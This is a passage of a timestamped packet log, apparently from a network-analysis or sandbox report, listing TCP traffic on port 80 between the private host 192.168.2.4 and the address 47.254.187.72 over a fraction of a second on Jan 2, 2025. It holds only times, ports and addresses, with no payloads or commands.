Jan 2, 2025 20:34:53.261727095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261738062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261748075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261759043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261768103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261779070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261784077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261784077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261789083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261792898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261801004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261810064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261814117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261821032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261833906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261837959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261850119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261852026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261873960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261912107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261928082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261938095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261950016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261965036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261976004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261979103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261991024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261992931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262003899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262015104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262021065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.262051105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.262113094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262124062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262134075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262156963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.262183905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.262191057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262269974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262280941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262290955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262306929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.262309074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262320042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262330055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262341022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262341976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.262351036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.262363911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.262387991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.264568090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.264597893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.264612913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.264617920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.264630079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.264642954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.264648914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.264650106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.264655113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.264662027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.264667034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.264688969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.264713049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.266663074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.266675949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.266695976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.266706944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.266717911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.266726971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.266729116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.266741037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.266771078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.266777039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.266786098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.266814947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.270328045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.270348072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.270359993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.270375013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.270375967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.270386934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.270396948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.270401001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.270410061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.270421028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.270437956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.270457983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.275373936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275403976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275415897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275425911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.275427103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275439978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275449991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275456905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.275473118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275484085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275490046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.275496006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275506020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275509119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.275516987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275527954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275538921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275541067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.275551081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.275568962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.275587082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.276534081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.276546001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.276557922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.276567936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.276580095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.276582003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.276591063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.276602030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.276607037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.276612043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.276657104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.277610064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.277621984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.277642965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.277653933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.277663946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.277666092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.277700901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.277702093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.277714014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.277714968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.277726889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.277746916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.277755976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.347810984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.347841024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.347856998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.347867012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.347872019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.347877979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.347884893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.347888947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.347930908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.347944975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.347963095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.347975016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.347976923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.347991943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348001957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348004103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348014116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348025084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348026991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348041058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348051071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348057032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348062038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348073006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348088980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348099947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348109961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348109961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348109961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348112106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348135948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348151922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348161936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348171949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348176956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348217964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348222017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348222017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348247051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348258972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348299980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348310947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348320961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348330975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348341942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348368883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348396063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348411083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348422050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348432064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348442078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348457098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348459005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348475933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348512888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348541021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348552942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348563910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348573923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348578930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348583937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348591089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348593950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348606110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348624945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348627090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348647118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348663092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348737955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348750114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348761082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348777056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348790884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348890066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348906040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348916054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348927021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348937988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348948002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348957062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348957062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348968029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348983049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.348990917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.348999023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.349009037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.349009991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.349020004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.349030018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.349050045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.349055052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.349061966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.349065065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.349076033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.349087000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.349097967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.349113941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.349145889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.351346970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.351361990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.351380110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.351389885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.351401091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.351411104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.351413965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.351421118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.351433039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.351433039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.351454973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.351474047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.353540897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.353552103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.353562117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.353573084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.353583097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.353585958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.353593111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.353604078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.353616953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.353632927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.353656054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.357237101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.357249022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.357259035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.357294083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.357310057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.357321978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.357326031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.357332945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.357343912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.357355118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.357363939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.357392073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.362107992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362124920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362138033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362148046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362159967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362170935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362181902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.362183094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362206936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.362241983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.362267971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362284899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362296104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362310886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362312078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.362322092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362332106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362333059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.362343073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.362365007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.362380981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.363094091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.363131046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.363141060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.363159895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.363173008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.363188028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.363200903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.363209963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.363212109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.363221884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.363234043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.363239050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.363257885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.363284111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.364383936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.364396095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.364406109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.364418030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.364434004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.364437103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.364443064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.364454031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.364454985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.364464045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.364485025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.364509106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434598923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434638023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434648991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434659958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434670925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434676886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434689045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434699059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434710979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434712887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434721947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434740067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434755087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434757948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434767008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434775114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434777021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434787989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434798002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434807062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434809923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434840918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434863091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434878111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434887886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434899092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.434911013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.434916019 CET	80	49730	47.254.187.72	192.168.2.4
